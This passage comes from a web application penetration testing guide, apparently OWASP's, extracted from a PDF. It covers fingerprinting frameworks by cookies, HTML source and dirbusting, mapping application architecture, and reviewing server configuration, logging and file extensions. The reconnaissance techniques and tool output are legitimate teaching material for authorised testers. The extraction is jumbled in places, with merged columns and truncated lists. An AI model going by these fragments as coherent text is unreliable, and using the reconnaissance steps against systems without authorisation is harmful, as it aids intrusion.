Accept-Language: en-US,en;q=0.5
time-2=1405988284’’’
DNT: 1
Connection: keep-alive
Host: blog.owasp.org

wp-settings-

The cookie CAKEPHP has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Cpmmon Application Identifiers section.
However, it is possible to change the name of the cookie.
HTML source code
This technique is based on finding certain patterns in the HTML
page source code. Often one can find a lot of information which
helps a tester to recognize a specific web application. One of the
common markers are HTML comments that directly lead to application disclosure. More often certain application-specific paths
can be found, i.e. links to application-specific css and/or js folders.
Finally, specific script variables might also point to a certain application.
From the meta tag below, one can easily learn the application
used by a website and its version. The comment, specific paths
and script variables can all help an attacker to quickly determine
an instance of an application.

More frequently such information is placed between  tags, in  tags or at the end of the page. Neverthe-

45

Web Application Penetration Testing

less, it is recommended to check the whole document since it can be
useful for other purposes such as inspection of other useful comments and hidden fields.
Specific files and folders
Apart from information gathered from HTML sources, there is another approach which greatly helps an attacker to determine the
application with high accuracy. Every application has its own specific file and folder structure on the server. It has been pointed out
that one can see the specific path from the HTML page source but
sometimes they are not explicitly presented there and still reside
on the server.

Specific files and folders are different for each specific application.
It is recommended to install the corresponding application during
penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server.
However, several good file lists already exist and one good example
is FuzzDB wordlists of predictable files/folders (http://code.google.
com/p/fuzzdb/).
Common Application Identifiers
phpBB

phpbb3_

Wordpress

wp-settings

1C-Bitrix

BITRIX_

AMPcms

AMP

Django CMS

django

DotNetNuke

DotNetNukeAnonymous

e107

e107

EPiServer

EPiTrace, EPiServer

Graffiti CMS

graffitibot

Hotaru CMS

hotaru_mobile

ImpressCMS

ICMSession

Indico

MAKACSESSION

InstantCMS

InstantCMS[logdate]

ered target with the help of defined list and intruder functionality
of Burp Suite.

Kentico CMS

CMSPreferredCulture

MODx

SN4[12symb]

TYPO3

fe_typo_user

We can see that for some WordPress-specific folders (for instance, /wp-includes/, /wp-admin/ and /wp-content/) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to wp-login.
php) and 200 (OK) respectively. This is a good indicator that the
target is WordPress-powered. The same way it is possible to dirbust different application plugin folders and their versions. On
the screenshot below one can see a typical CHANGELOG file of a
Drupal plugin, which provides information on the application being
used and discloses a vulnerable plugin version.

Dynamicweb

Dynamicweb

LEPTON

lep[some_numeric_value]+sessionid

Wix

Domain=.wix.com

VIVVO

VivvoSessionId

In order to uncover them a technique known as dirbusting is used.
Dirbusting is brute forcing a target with predictable folder and file
names and monitoring HTTP-responses to emumerate server
contents. This information can be used both for finding default
files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below
shows a successful dirbusting attack against a WordPress-pow-

HTML source code
Wordpress

phpBB

Joomla

Drupal

DotNetNuke

DNN Platform - http://www.dnnsoftware.com

Tools

A list of general and well-known tools is presented below. There
are also a lot of other utilities, as well as framework-based fingerprinting tools.
WhatWeb
Website: http://www.morningstarsecurity.com/research/whatweb
Currently one of the best fingerprinting tools on the market. Included in a default Kali Linux build. Language: Ruby Matches for fingerprinting are made with:

Tip: before starting dirbusting, it is recommended to check the robots.txt file first. Sometimes application specific folders and other
sensitive information can be found there as well. An example of
such a robots.txt file is presented on a screenshot below.

• Text strings (case sensitive)
• Regular expressions
• Google Hack Database queries (limited set of keywords)
• MD5 hashes
• URL recognition
• HTML tag patterns
• Custom ruby code for passive and aggressive operations

46

Web Application Penetration Testing

Sample output is presented on a screenshot below:

Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn’t need anything other than the page to
be loaded on browser. It works completely at the browser level and
gives results in the form of icons. Although sometimes it has false
positives, this is very handy to have notion of what technologies were
used to construct a target website immediately after browsing a page.
Sample output of a plug-in is presented on a screenshot below.

BlindElephant
Website: https://community.qualys.com/community/blindelephant
This great tool works on the principle of static file checksum based
version difference thus providing a very high quality of fingerprinting.
Language: Python
Sample output of a successful fingerprint:
pentester$python BlindElephant.py http://my_target drupal Loaded /Library/Python/2.7/site-packages/blindelephant/ dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant fingerprint for version of drupal at http:// my_target References Whitepapers Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4 Remediation The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it’s possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches. Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4 Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14 Hit http://my_target/MAINTAINERS.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca Hit http://my_target/themes/garland/style.css Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14 ... Fingerprinting resulted in: 7.14 • Saumil Shah: “An Introduction to HTTP fingerprinting” - http://www. net-square.com/httprint_paper.html • Anant Shrivastava : “Web Application Finger Printing” - http://anantshri.info/articles/web_app_finger_printing.html HTTP headers Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler: http:// grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html Cookies It is recommended to change cookie names by making changes in the corresponding configuration files. HTML source code Manually check the contents of the HTML code and remove everything that explicitly points to the framework. General guidelines: Best Guess: 7.14 Wappalyzer Website: http://wappalyzer.com • Make sure there are no visual markers disclosing the framework • Remove any unnecessary comments (copyrights, bug information, specific framework comments) • Remove META and generator tags • Use the companies own css or js files and do not store those in a 47 Web Application Penetration Testing framework-specific folders • Do not use default scripts on the page or obfuscate them if they must be used. Specific files and folders General guidelines: • Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too. • Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below. RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$RewriteRule$ /http://your_website [R=404,L]

However, these are not the only ways to restrict access. In order to
automate this process, certain framework-specific plugins exist. One
example for WordPress is StealthLogin (http://wordpress.org/plugins/
General guidelines:
[1] Checksum management
The purpose of this approach is to beat checksum-based scanners
and not let them disclose files by their hashes. Generally, there are two
approaches in checksum management:
• Change the location of where those files are placed (i.e. move them
to another folder, or rename the existing folder)
• Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file
should not be a big problem.
[2] Controlled chaos
A funny and effective method that involves adding bogus files and
folders from other frameworks in order to fool scanners and confuse
an attacker. But be careful not to overwrite existing files and folders
and to break the current framework!

Map Application Architecture (OTG-INFO-010)

Summary
The complexity of interconnected and heterogeneous web server infrastructure can include hundreds of web applications and makes configuration management and review a fundamental step in testing and
deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even
small and seemingly unimportant problems may evolve into severe
risks for another application on the same server.
To address these problems, it is of utmost importance to perform an
in-depth review of configuration and known security issues. Before
performing an in-depth review it is necessary to map the network and
application architecture. The different elements that make up the infrastructure need to be determined to understand how they interact
with a web application and how they affect security.
How to Test

Map the application architecture
The application architecture needs to be mapped through some test
to determine what different components are used to build the web
application. In small setups, such as a simple CGI-based application, a
single server might be used that runs the web server which executes
the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism.
On more complex setups, such as an online bank system, multiple
servers might be involved. These may include a reverse proxy, a frontend web server, an application server and a database server or LDAP
server. Each of these servers will be used for different purposes and
might be even be divided in different networks with firewalls between
them. This creates different DMZs so that access to the web server
itself, and so that compromises of the different elements of the architecture can be isolated so that they will not compromise the whole
architecture.
Getting knowledge of the application architecture can be easy if this
information is provided to the testing team by the application developers in document form or through interviews, but can also prove to
be very difficult if doing a blind penetration test.
In the latter case, a tester will first start with the assumption that
there is a simple setup (a single server). Then they will retrieve information from other tests and derive the different elements, question
this assumption and extend the architecture map. The tester will start
by asking simple questions such as: “Is there a firewalling system protecting the web server?”. This question will be answered based on the
results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered
or if the server is directly connected to the Internet (i.e. returns RST
packets for all non-listening ports). This analysis can be enhanced to
determine the type of firewall used based on network packet tests.
Is it a stateful firewall or is it an access list filter on a router? How is it
configured? Can it be bypassed?
Detecting a reverse proxy in front of the web server needs to be done
by the analysis of the web server banner, which might directly disclose
the existence of a reverse proxy (for example, if ‘WebSEAL’[1] is returned). It can also be determined by obtaining the answers given by
the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention
systems” (or web-shields) by blocking known attacks targeted at the
web server. If the web server is known to answer with a 404 message
to a request that targets an unavailable page and returns a different
error message for some common web attacks like those done by CGI
scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web
server returns a set of available HTTP methods (including TRACE) but
the expected methods return errors then there is probably something
in between blocking them.
In some cases, even the protection system gives itself away:
GET /web-console/ServerInfo.jsp%00 HTTP/1.0
HTTP/1.0 200
Pragma: no-cache

48

Web Application Penetration Testing

Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83
Error

Error
Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server
Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these
proxies can be done based on the server header. They can also be
detected by timing requests that should be cached by the server and
comparing the time taken to server the first request with subsequent
requests.
Another element that can be detected is network load balancers.
Typically, these systems will balance a given TCP/IP port to multiple
servers based on different algorithms (round-robin, web server load,
number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results to determine if the requests are going to the same or different web servers. For example, based on the Date header if the server
clocks are not synchronized. In some cases, the network load balance
process might inject new information in the headers that will make it
stand out distinctively, like the AlteonP cookie introduced by Nortel’s
Application web servers are usually easy to detect. The request for
several resources is handled by the application server itself (not the
web server) and the response header will vary significantly (including
detect these is to see if the web server tries to set cookies which are
indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.
Authentication back ends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an
external point of view in an immediate way, since they will be hidden
by the application itself.
The use of a back end database can be determined simply by navigating an application. If there is highly dynamic content generated “on the
fly,” it is probably being extracted from some sort of database by the
application itself. Sometimes the way information is requested might
give insight to the existence of a database back-end. For example, an
online shopping application that uses numeric identifiers (‘id’) when
browsing the different articles in the shop. However, when doing a
blind application test, knowledge of the underlying database is usually
only available when a vulnerability surfaces in the application, such as
poor exception handling or susceptibility to SQL injection.
References
[1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
[2] There are some GUI-based administration tools for Apache (like
NetLoony) but they are not in widespread use yet.

Testing for configuration management

Understanding the deployed configuration of the server hosting the
web application is almost as important as the application security testing itself. After all, an application chain is only as strong as its
weakest link. Application platforms are wide and varied, but some key
platform configuration errors can compromise the application in the
same way an unsecured application can compromise the server.

Test Network/Infrastructure Configuration
(OTG-CONFIG-001)

Summary
The intrinsic complexity of interconnected and heterogeneous web
server infrastructure, which can include hundreds of web applications,
makes configuration management and review a fundamental step in
testing and deploying every single application. It takes only a single
vulnerability to undermine the security of the entire infrastructure,
and even small and seemingly unimportant problems may evolve into
severe risks for another application on the same server. In order to
address these problems, it is of utmost importance to perform an indepth review of configuration and known security issues, after having
mapped the entire architecture.
Proper configuration management of the web server infrastructure is
very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed
and secured, they might introduce undesired risks or introduce new
vulnerabilities that might compromise the application itself.
For example, a web server vulnerability that would allow a remote
attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or
application servers) could compromise the application, as anonymous
users could use the information disclosed in the source code to leverage attacks against the application or its users.
The following steps need to be taken to test the configuration management infrastructure:
• The different elements that make up the infrastructure need to
be determined in order to understand how they interact with a web
application and how they affect its security.
• All the elements of the infrastructure need to be reviewed in order to
make sure that they don’t contain any known vulnerabilities.
• A review needs to be made of the administrative tools used to
maintain all the different elements.
• The authentication systems, need to reviewed in order to assure
that they serve the needs of the application and that they cannot be
manipulated by external users to leverage access.
• A list of defined ports which are required for the application should
be maintained and kept under change control.
After having mapped the different elements that make up the infrastructure (see Map Network and Application Architecture) it is possible
to review the configuration of each element founded and test for any
known vulnerabilities.
How to Test
Known Server Vulnerabilities
Vulnerabilities found in the different areas of the application architecture, be it in the web server or in the back end database, can severe-

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ly compromise the application itself. For example, consider a server
vulnerability that allows a remote, unauthenticated user to upload
files to the web server or even to replace files. This vulnerability could
compromise the application, since a rogue user may be able to replace
the application itself or introduce code that would affect the back end
servers, as its application code would be run just like any other application.
Reviewing server vulnerabilities can be hard to do if the test needs to
be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated
tool. However, testing for some vulnerabilities can have unpredictable
results on the web server, and testing for others (like those directly
involved in denial of service attacks) might not be possible due to the
service downtime involved if the test was successful.
Some automated tools will flag vulnerabilities based on the web
server version retrieved. This leads to both false positives and false
negatives. On one hand, if the web server version has been removed
or obscured by the local site administrator the scan tool will not flag
the server as vulnerable even if it is. On the other hand, if the vendor
providing the software does not update the web server version when
vulnerabilities are fixed, the scan tool will flag vulnerabilities that do
not exist. The latter case is actually very common as some operating
system vendors back port patches of security vulnerabilities to the
software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux
distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such
as the web server) and will usually be unable to find vulnerabilities
associated to elements which are not directly exposed, such as the
authentication back ends, the back end database, or reverse proxies
in use.
Finally, not all software vendors disclose vulnerabilities in a public way,
and therefore these weaknesses do not become registered within
publicly known vulnerability databases[2]. This information is only
disclosed to customers or published through fixes that do not have
accompanying advisories. This reduces the usefulness of vulnerability
scanning tools. Typically, vulnerability coverage of these tools will be
very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will
be lacking for lesser known products.
This is why reviewing vulnerabilities is best done when the tester is
provided with internal information of the software used, including versions and releases used and patches applied to the software. With this
information, the tester can retrieve the information from the vendor
itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible,
these vulnerabilities can be tested to determine their real effects and
to detect if there might be any external elements (such as intrusion
detection or prevention systems) that might reduce or negate the
possibility of successful exploitation. Testers might even determine,
through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.
It is also worthwhile to note that vendors will sometimes silently fix
vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine

the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture
can analyse the risk associated to the use of old software releases
that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old
software version that is no longer supported, the systems personnel
might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it
is no longer supported. Even in the event that they are aware that the
vulnerability is present and the system is vulnerable, they will need to
do a full upgrade to a new software release, which might introduce
significant downtime in the application architecture or might force
the application to be re-coded due to incompatibilities with the latest
software version.
Any web server infrastructure requires the existence of administrative
tools to maintain and update the information used by the application.
This information includes static content (web pages, graphic files),
application source code, user authentication databases, etc. Administrative tools will differ depending on the site, technology, or software
used. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the
iPlanet web server) or will be administrated by plain text configuration
files (in the Apache case[3]) or use operating-system GUI tools (when
using Microsoft’s IIS server or ASP.Net).
In most cases the server configuration will be handled using different
file maintenance tools used by the web server, which are managed
through FTP servers, WebDAV, network file systems (NFS, CIFS) or
other mechanisms. Obviously, the operating system of the elements
that make up the application architecture will also be managed using
other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself
(users, content, etc.).
After having mapped the administrative interfaces used to manage
the different parts of the architecture it is important to review them
since if an attacker gains access to any of them he can then compromise or damage the application architecture. To do this it is important
to:
and their associated susceptibilities. This information may be available
online.
Some companies choose not to manage all aspects of their web
server applications, but may have other parties managing the content delivered by the web application. This external company might
either provide only parts of the content (news updates or promotions)
or might manage the web server completely (including content and
code). It is common to find administrative interfaces available from the
Internet in these situations, since using the Internet is cheaper than
providing a dedicated line that will connect the external company to
the application infrastructure through a management-only interface.
In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.
References
[1] WebSEAL, also known as Tivoli Authentication Manager, is a re-

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verse proxy from IBM which is part of the Tivoli framework.
[2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).
[3] There are some GUI-based administration tools for Apache (like
NetLoony) but they are not in widespread use yet.

Test Application Platform Configuration
(OTG-CONFIG-002)

Summary
Proper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might
compromise the security of the whole architecture.
Configuration review and testing is a critical task in creating and maintaining an architecture. This is because many different systems will be
usually provided with generic configurations that might not be suited
to the task they will perform on the specific site they’re installed on.
While the typical web and application server installation will contain
a lot of functionality (like application examples, documentation, test
pages) what is not essential should be removed before deployment to
avoid post-install exploitation.
How to Test
Black Box Testing
Sample and known files and directories
Many web servers and application servers provide, in a default installation, sample applications and files that are provided for the benefit
of the developer and in order to test that the server is working properly right after installation. However, many default web server applications have been later known to be vulnerable. This was the case, for
example, for CVE-1999-0449 (Denial of Service in IIS when the Exair
sample site had been installed), CAN-2002-1744 (Directory traversal
vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630
(Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory
traversal in the view-source sample in Apache’s Cocoon).
CGI scanners include a detailed list of known files and directory samples that are provided by different web or application servers and
might be a fast way to determine if these files are present. However,
the only way to be really sure is to do a full review of the contents of
the web server or application server and determine of whether they
are related to the application itself or not.
Comment review
It is very common, and even recommended, for programmers to include detailed comments on their source code in order to allow for
other programmers to better understand why a given decision was
when developing large web-based applications. However, comments
included inline in HTML code might reveal internal information that
should not be available to an attacker. Sometimes, even source code
is commented out since a functionality is no longer required, but this
comment is leaked out to the HTML pages returned to the users unintentionally.
Comment review should be done in order to determine if any information is being leaked through comments. This review can only be
thoroughly done through an analysis of the web server static and dynamic content and through file searches. It can be useful to browse
the site either in an automatic or guided fashion and store all the content retrieved. This retrieved content can then be searched in order to

analyse any HTML comments available in the code.
Gray Box Testing
Configuration review
The web server or application server configuration takes an important role in protecting the contents of the site and it must be carefully
reviewed in order to spot common configuration mistakes. Obviously,
the recommended configuration varies depending on the site policy,
and the functionality that should be provided by the server software.
In most cases, however, configuration guidelines (either provided by
the software vendor or external parties) should be followed to determine if the server has been properly secured.
It is impossible to generically say how a server should be configured,
however, some common guidelines should be taken into account:
• Only enable server modules (ISAPI extensions in the case of IIS) that
are needed for the application. This reduces the attack surface since
the server is reduced in size and complexity as software modules
are disabled. It also prevents vulnerabilities that might appear in the
vendor software from affecting the site if they are only present in
modules that have been already disabled.
of with the default web server pages. Specifically make sure that any
application errors will not be returned to the end-user and that no
code is leaked through these errors since it will help an attacker. It is
actually very common to forget this point since developers do need
this information in pre-production environments.
• Make sure that the server software runs with minimized privileges
in the operating system. This prevents an error in the server software
from directly compromising the whole system, although an attacker
could elevate privileges once running code as the web server.
• Make sure the server software properly logs both legitimate access
and errors.
• Make sure that the server is configured to properly handle overloads
and prevent Denial of Service attacks. Ensure that the server has
been performance-tuned properly.
• Never grant non-administrative identities (with the exception of NT
includes Network Service, IIS_IUSRS, IUSR, or any custom identity
used by IIS application pools. IIS worker processes are not meant to
access any of these files directly.
• Never share out applicationHost.config, redirection.config, and
administration.config on the network. When using Shared
Configuration, prefer to export applicationHost.config to another
location (see the section titled “Setting Permissions for Shared
Configuration).
• Keep in mind that all users can read .NET Framework machine.config
and root web.config files by default. Do not store sensitive
information in these files if it should be for administrator eyes only.
• Encrypt sensitive information that should be read by the IIS worker
processes only and not by other users on the machine.
• Do not grant Write access to the identity that the Web server uses
to access the shared applicationHost.config. This identity should
• Use a separate identity to publish applicationHost.config to the
share. Do not use this identity for configuring access to the shared
configuration on the Web servers.
• Use a strong password when exporting the encryption keys for use
with shared -configuration.

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configuration and encryption keys. If this share is compromised, an
attacker will be able to read and write any IIS configuration for your
Web servers, redirect traffic from your Web site to malicious sources,
and in some cases gain control of all web servers by loading arbitrary
code into IIS worker processes.
• Consider protecting this share with firewall rules and IPsec policies
to allow only the member web servers to connect.
Logging
Logging is an important asset of the security of an application architecture, since it can be used to detect flaws in applications (users
constantly trying to retrieve a file that does not really exist) as well as
sustained attacks from rogue users. Logs are typically properly generated by web and other server software. It is not common to find applications that properly log their actions to a log and, when they do, the
main intention of the application logs is to produce debugging output
that could be used by the programmer to analyze a particular error.
In both cases (server and application logs) several issues should be
tested and analysed based on the log contents:
• Do the logs contain sensitive information?
• Are the logs stored in a dedicated server?
• Can log usage generate a Denial of Service condition?
• How are they rotated? Are logs kept for the sufficient time?
• How are logs reviewed? Can administrators use these reviews to
detect targeted attacks?
• How are log backups preserved?
• Is the data being logged data validated (min/max length, chars etc)
prior to being logged?
Sensitive information in logs
Some applications might, for example, use GET requests to forward
form data which will be seen in the server logs. This means that server logs might contain sensitive information (such as usernames as
passwords, or bank account details). This sensitive information can be
misused by an attacker if they obtained the logs, for example, through
administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known server-status misconfiguration in
Apache-based HTTP servers ).
Event logs will often contain data that is useful to an attacker (information leakage) or can be used directly in exploits:
• Debug information
• Stack traces
• System component names
and telephone numbers associated with named individuals)
Also, in some jurisdictions, storing some sensitive information in log
files, such as personal data, might oblige the enterprise to apply the
data protection laws that they would apply to their back-end databases to log files too. And failure to do so, even unknowingly, might
carry penalties under the data protection laws that apply.
A wider list of sensitive information is:

• Application source code
• Session identification values
• Sensitive personal data and some forms of personally identifiable
information (PII)
• Database connection strings
• Encryption keys
• Bank account or payment card holder data
• Data of a higher security classification than the logging system is
allowed to store
• Commercially-sensitive information
• Information it is illegal to collect in the relevant jurisdiction
• Information a user has opted out of collection, or not consented to
e.g. use of do not track, or where consent to collect has expired
Log location
Typically servers will generate local logs of their actions and errors,
consuming the disk of the system the server is running on. However,
if the server is compromised its logs can be wiped out by the intruder
to clean up all the traces of its attack and methods. If this were to
happen the system administrator would have no knowledge of how
the attack occurred or where the attack source was located. Actually,
most attacker tool kits include a log zapper that is capable of cleaning up any logs that hold given information (like the IP address of the
attacker) and are routinely used in attacker’s system-level root kits.
Consequently, it is wiser to keep logs in a separate location and not in
the web server itself. This also makes it easier to aggregate logs from
different sources that refer to the same application (such as those
of a web server farm) and it also makes it easier to do log analysis
(which can be CPU intensive) without affecting the server itself.
Log storage
Logs can introduce a Denial of Service condition if they are not properly stored. Any attacker with sufficient resources could be able to
produce a sufficient number of requests that would fill up the allocated space to log files, if they are not specifically prevented from doing
so. However, if the server is not properly configured, the log files will
be stored in the same disk partition as the one used for the operating
system software or the application itself. This means that if the disk
were to be filled up the operating system or the application might fail
because it is unable to write on disk.
Typically in UNIX systems logs will be located in /var (although some
server installations might reside in /opt or /usr/local) and it is important to make sure that the directories in which logs are stored are in a
separate partition. In some cases, and in order to prevent the system
logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be
stored in a dedicated partition.
This is not to say that logs should be allowed to grow to fill up the file
system they reside in. Growth of server logs should be monitored in
order to detect this condition since it may be indicative of an attack.
Testing this condition is as easy, and as dangerous in production environments, as firing off a sufficient and sustained number of requests
to see if these requests are logged and if there is a possibility to fill
up the log partition through these requests. In some environments
where QUERY_STRING parameters are also logged regardless of
whether they are produced through GET or POST requests, big que-

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ries can be simulated that will fill up the logs faster since, typically, a
single request will cause only a small amount of data to be logged,
such as date and time, source IP address, URI request, and server result.
Log rotation
Most servers (but few custom applications) will rotate logs in order
to prevent them from filling up the file system they reside on. The
assumption when rotating logs is that the information in them is only
necessary for a limited amount of time.
This feature should be tested in order to ensure that:
• Logs are kept for the time defined in the security policy, not more
and not less.
• Logs are compressed once rotated (this is a convenience, since it will
mean that more logs will be stored for the same available disk space).
• File system permission of rotated log files are the same (or stricter)
that those of the log files itself. For example, web servers will need
to write to the logs they use but they don’t actually need to write
to rotated logs, which means that the permissions of the files can
be changed upon rotation to prevent the web server process from
modifying these.
Some servers might rotate logs when they reach a given size. If this
happens, it must be ensured that an attacker cannot force logs to rotate in order to hide his tracks.
Log Access Control
Event log information should never be visible to end users. Even web
administrators should not be able to see such logs since it breaks
separation of duty controls. Ensure that any access control schema
that is used to protect access to raw logs and any applications providing capabilities to view or search the logs is not linked with access
control schemas for other application user roles. Neither should any
log data be viewable by unauthenticated users.
Log review
Review of logs can be used for more than extraction of usage statistics of files in the web servers (which is typically what most log-based
application will focus on), but also to determine if attacks take place
at the web server.
In order to analyze web server attacks the error log files of the server
need to be analyzed. Review should concentrate on:
• 40x (not found) error messages. A large amount of these from the
same source might be indicative of a CGI scanner tool being used
against the web server
• 50x (server error) messages. These can be an indication of an
attacker abusing parts of the application which fail unexpectedly.
For example, the first phases of a SQL injection attack will produce
these error message when the SQL query is not properly constructed
and its execution fails on the back end database.
Log statistics or analysis should not be generated, nor stored, in the
same server that produces the logs. Otherwise, an attacker might,
through a web server vulnerability or improper configuration, gain access to them and retrieve similar information as would be disclosed by
log files themselves.
References

[1] Apache
• Apache Security, by Ivan Ristic, O’reilly, March 2005.
• Apache Security Secrets: Revealed (Again), Mark Cox, November
2003 - http://www.awe.com/mark/apcon2003/
• Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas,
Mark J Cox, October 2002 - http://www.awe.com/mark/apcon2002
• Performance Tuning - http://httpd.apache.org/docs/misc/
perf-tuning.html
[2] Lotus Domino
• Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection
• Lotus Domino Security, an X-force white-paper, Internet Security
Systems, December 2002
• Hackproofing Lotus Domino Web Server, David Litchfield, October
2001,
• NGSSoftware Insight Security Research, available at http://www.
nextgenss.com
[3] Microsoft IIS
• IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www.
securityfocus.com/print/infocus/1765
• IIS 7.0 Securing Configuration - http://technet.microsoft.com/enus/library/dd163536.aspx
• Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004
• IIS Security and Programming Countermeasures, by Jason Coombs
• From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John
Davis, Microsoft Corporation, June 2001
• Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000
• “INFO: Using URLScan on IIS” - http://support.microsoft.com/default.aspx?scid=307608
[4] Red Hat’s (formerly Netscape’s) iPlanet
• Guide to the Secure Configuration and Administration of iPlanet
Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center
(SNAC), NSA, January 2001
[5] WebSphere
• IBM WebSphere V5.0 Security, WebSphere Handbook Series, by
Peter Kovari et al., IBM, December 2002.
• IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari
et al., IBM, March 2002.
[6] General
• Logging Cheat Sheet, OWASP
• SP 800-92 Guide to Computer Security Log Management, NIST
• PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4,
PCI Security Standards Council
[7] Generic:
• CERT Security Improvement Modules: Securing Public Web Servers - http://www.cert.org/security-improvement/
• Apache Security Configuration Document, InterSect Alliance http://www.intersectalliance.com/projects/ApacheConfig/index.
html
• “How To: Use IISLockdown.exe” - http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp

Test File Extensions Handling for Sensitive
Information (OTG-CONFIG-003)

Summary
File extensions are commonly used in web servers to easily determine
which technologies, languages and plugins must be used to fulfill the
web request. While this behavior is consistent with RFCs and Web

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Standards, using standard file extensions provides the penetration
tester useful information about the underlying technologies used in
a web appliance and greatly simplifies the task of determining the
attack scenario to be used on particular technologies. In addition,
mis-configuration of web servers could easily reveal confidential information about access credentials.

The following file extensions should never be returned by a web server, since they are related to files which may contain sensitive information or to files for which there is no reason to be served.

Extension checking is often used to validate files to be uploaded,
which can lead to unexpected results because the content is not what
is expected, or because of unexpected OS file name handling.

The following file extensions are related to files which, when accessed,
with these extensions must be checked to verify that they are indeed
supposed to be served (and are not leftovers), and that they do not
contain sensitive information.

Determining how web servers handle requests corresponding to files
having different extensions may help in understanding web server behavior depending on the kind of files that are accessed. For example,
it can help to understand which file extensions are returned as text or
plain versus those that cause execution on the server side. The latter
are indicative of technologies, languages or plugins that are used by
web servers or application servers, and may provide additional insight
on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support. However, the
file extension alone may be deceptive and not fully conclusive. For example, Perl server-side resources might be renamed to conceal the
fact that they are indeed Perl related. See the next section on “web
server components” for more on identifying server side technologies
and components.
How to Test
Forced browsing
Submit http[s] requests involving different file extensions and verify
how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server
directories can be identified by vulnerability scanners, which look for
the presence of well-known directories. In addition, mirroring the web
site structure allows the tester to reconstruct the tree of web directories served by the application.
If the web application architecture is load-balanced, it is important to
assess all of the web servers. This may or may not be easy, depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations
in the configuration of individual web or application servers. This may
happen if the web architecture employs heterogeneous technologies
(think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between
them, and possibly different vulnerabilities).
‘Example:
The tester has identified the existence of a file named connection.inc.
Trying to access it directly gives back its contents, which are:

The tester determines the existence of a MySQL DBMS back end, and
the (weak) credentials used by the web application to access it.

• .asa
• .inc

